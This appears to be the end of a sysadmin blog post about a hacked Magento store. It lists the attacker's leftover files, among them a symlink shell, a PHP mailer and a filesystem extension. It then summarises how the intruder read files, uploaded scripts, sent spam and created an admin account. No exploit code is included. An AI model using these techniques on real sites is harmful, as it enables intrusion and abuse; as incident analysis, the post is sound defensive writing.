./js/editarea/reg_syntax/sql.js
./js/editarea/reg_syntax/tsql.js
./js/editarea/reg_syntax/xml.js
./js/editarea/license_lgpl.txt
./js/editarea/search_replace.js
./js/editarea/langs
./js/editarea/langs/ja.js
./js/editarea/langs/bg.js
./js/editarea/langs/hr.js
./js/editarea/langs/zh.js
./js/editarea/langs/cs.js
./js/editarea/langs/de.js
./js/editarea/langs/es.js
./js/editarea/langs/fi.js
./js/editarea/langs/pl.js
./js/editarea/langs/pt.js
./js/editarea/langs/en.js
./js/editarea/langs/nl.js
./js/editarea/langs/fr.js
./js/editarea/langs/eo.js
./js/editarea/langs/dk.js
./js/editarea/langs/ru.js
./js/editarea/langs/mk.js
./js/editarea/langs/sk.js
./js/editarea/langs/it.js
./js/editarea/images
./js/editarea/images/search.gif
./js/editarea/images/processing.gif
./js/editarea/images/close.gif
./js/editarea/images/newdocument.gif
./js/editarea/images/redo.gif
./js/editarea/images/load.gif
./js/editarea/images/help.gif
./js/editarea/images/spacer.gif
./js/editarea/images/fullscreen.gif
./js/editarea/images/opacity.png
./js/editarea/images/word_wrap.gif
./js/editarea/images/reset_highlight.gif
./js/editarea/images/smooth_selection.gif
./js/editarea/images/move.gif
./js/editarea/images/autocompletion.gif
./js/editarea/images/undo.gif
./js/editarea/images/save.gif
./js/editarea/images/highlight.gif
./js/editarea/images/statusbar_resize.gif
./js/editarea/images/go_to_line.gif
./js/editarea/edit_area_compressor.php
./js/editarea/edit_area.css
./js/editarea/plugins
./js/editarea/plugins/charmap
./js/editarea/plugins/charmap/charmap.js
./js/editarea/plugins/charmap/langs
./js/editarea/plugins/charmap/langs/ja.js
./js/editarea/plugins/charmap/langs/bg.js
./js/editarea/plugins/charmap/langs/hr.js
./js/editarea/plugins/charmap/langs/zh.js
./js/editarea/plugins/charmap/langs/cs.js
./js/editarea/plugins/charmap/langs/de.js
./js/editarea/plugins/charmap/langs/es.js
./js/editarea/plugins/charmap/langs/pl.js
./js/editarea/plugins/charmap/langs/pt.js
./js/editarea/plugins/charmap/langs/en.js
./js/editarea/plugins/charmap/langs/nl.js
./js/editarea/plugins/charmap/langs/fr.js
./js/editarea/plugins/charmap/langs/eo.js
./js/editarea/plugins/charmap/langs/dk.js
./js/editarea/plugins/charmap/langs/ru.js
./js/editarea/plugins/charmap/langs/mk.js
./js/editarea/plugins/charmap/langs/sk.js
./js/editarea/plugins/charmap/langs/it.js
./js/editarea/plugins/charmap/images
./js/editarea/plugins/charmap/images/charmap.gif
./js/editarea/plugins/charmap/popup.html
./js/editarea/plugins/charmap/css
./js/editarea/plugins/charmap/css/charmap.css
./js/editarea/plugins/charmap/jscripts
./js/editarea/plugins/charmap/jscripts/map.js
./js/editarea/plugins/test
./js/editarea/plugins/test/test2.js
./js/editarea/plugins/test/langs
./js/editarea/plugins/test/langs/ja.js
./js/editarea/plugins/test/langs/bg.js
./js/editarea/plugins/test/langs/hr.js
./js/editarea/plugins/test/langs/zh.js
./js/editarea/plugins/test/langs/cs.js
./js/editarea/plugins/test/langs/de.js
./js/editarea/plugins/test/langs/es.js
./js/editarea/plugins/test/langs/pl.js
./js/editarea/plugins/test/langs/pt.js
./js/editarea/plugins/test/langs/en.js
./js/editarea/plugins/test/langs/nl.js
./js/editarea/plugins/test/langs/fr.js
./js/editarea/plugins/test/langs/eo.js
./js/editarea/plugins/test/langs/dk.js
./js/editarea/plugins/test/langs/ru.js
./js/editarea/plugins/test/langs/mk.js
./js/editarea/plugins/test/langs/sk.js
./js/editarea/plugins/test/langs/it.js
./js/editarea/plugins/test/images
./js/editarea/plugins/test/images/Thumbs.db
./js/editarea/plugins/test/images/test.gif
./js/editarea/plugins/test/test.js
./js/editarea/plugins/test/css
./js/editarea/plugins/test/css/test.css
./js/editarea/edit_area.js
./js/editarea/edit_area_functions.js
./js/editarea/regexp.js
./js/editarea/license_bsd.txt
./js/editarea/edit_area_loader.js
./js/editarea/resize_area.js
./js/editarea/keyboard.js
./js/editarea/template.html
./js/editarea/edit_area_full.gz
./js/editarea/autocompletion.js
./js/editarea/elements_functions.js
./js/editarea/manage_area.js
./js/editarea/reg_syntax.js
./bootstrap.php
./Sym.php
./index.php
./tmp
./tmp/mobile
./tmp/.htaccess
./configurations.php
./skin/adminhtml/default/default/filesystem
./skin/adminhtml/default/default/filesystem/images
./skin/adminhtml/default/default/filesystem/images/script.png
./skin/adminhtml/default/default/filesystem/images/ppt.png
./skin/adminhtml/default/default/filesystem/images/music.png
./skin/adminhtml/default/default/filesystem/images/html.png
./skin/adminhtml/default/default/filesystem/images/pdf.png
./skin/adminhtml/default/default/filesystem/images/application.png
./skin/adminhtml/default/default/filesystem/images/phtml.png
./skin/adminhtml/default/default/filesystem/images/flash.png
./skin/adminhtml/default/default/filesystem/images/linux.png
./skin/adminhtml/default/default/filesystem/images/zip.png
./skin/adminhtml/default/default/filesystem/images/db.png
./skin/adminhtml/default/default/filesystem/images/doc.png
./skin/adminhtml/default/default/filesystem/images/psd.png
./skin/adminhtml/default/default/filesystem/images/film.png
./skin/adminhtml/default/default/filesystem/images/spinner.gif
./skin/adminhtml/default/default/filesystem/images/file.png
./skin/adminhtml/default/default/filesystem/images/ruby.png
./skin/adminhtml/default/default/filesystem/images/picture.png
./skin/adminhtml/default/default/filesystem/images/directory.png
./skin/adminhtml/default/default/filesystem/images/folder_open.png
./skin/adminhtml/default/default/filesystem/images/java.png
./skin/adminhtml/default/default/filesystem/images/code.png
./skin/adminhtml/default/default/filesystem/images/txt.png
./skin/adminhtml/default/default/filesystem/images/xls.png
./skin/adminhtml/default/default/filesystem/images/css.png
./skin/adminhtml/default/default/filesystem/images/php.png
./skin/adminhtml/default/default/filesystem/css
./skin/adminhtml/default/default/filesystem/css/styles.css
./skin/adminhtml/default/default/filesystem/css/jqueryfiletree.css
./ljamailer.php
./downloader/Maged/index.php
./sym
./sym/file.name_sym ( Ex. :: 1.txt )
./sym/root
./sym/.htaccess
./[Cache files]
./var/resource_config.json
./var/package/File_System-1.0.0.xml
./var/package/tmp
./var/package/tmp/package.xml

At the end of the analysis I realized, the hacker was able to do:

- Information disclosure (by using a symlink to the web servers root directory)
- File uploads
- Spamming (through uploaded php script)
- Successful login as admin
- Create a new admin account
- Install an extension (Magpleasure Filesystem) through Connect Manager (authenticated or not, that's still the big question to me)

A successful day for a hacker - not so much for me as I have to clean up, restore backups and shout at the responsible webmaster.


Add a comment

Show form to leave a comment

Comments (newest first)

No comments yet.

RSS feed

Blog Tags:

  AWS   Android   Ansible   Apache   Apple   Atlassian   BSD   Backup   Bash   Bluecoat   CMS   Chef   Cloud   Coding   Consul   Containers   CouchDB   DB   DNS   Database   Databases   Docker   ELK   Elasticsearch   Filebeat   FreeBSD   Galera   Git   GlusterFS   Grafana   Graphics   HAProxy   HTML   Hacks   Hardware   Icinga   Icingaweb   Icingaweb2   Influx   Internet   Java   KVM   Kibana   Kodi   Kubernetes   LVM   LXC   Linux   Logstash   Mac   Macintosh   Mail   MariaDB   Minio   MongoDB   Monitoring   Multimedia   MySQL   NFS   Nagios   Network   Nginx   OSSEC   OTRS   Office   PGSQL   PHP   Perl   Personal   PostgreSQL   Postgres   PowerDNS   Proxmox   Proxy   Python   Rancher   Rant   Redis   Roundcube   SSL   Samba   Seafile   Security   Shell   SmartOS   Solaris   Surveillance   Systemd   TLS   Tomcat   Ubuntu   Unix   VMWare   VMware   Varnish   Virtualization   Windows   Wireless   Wordpress   Wyse   ZFS   Zoneminder   


Update cookies preferences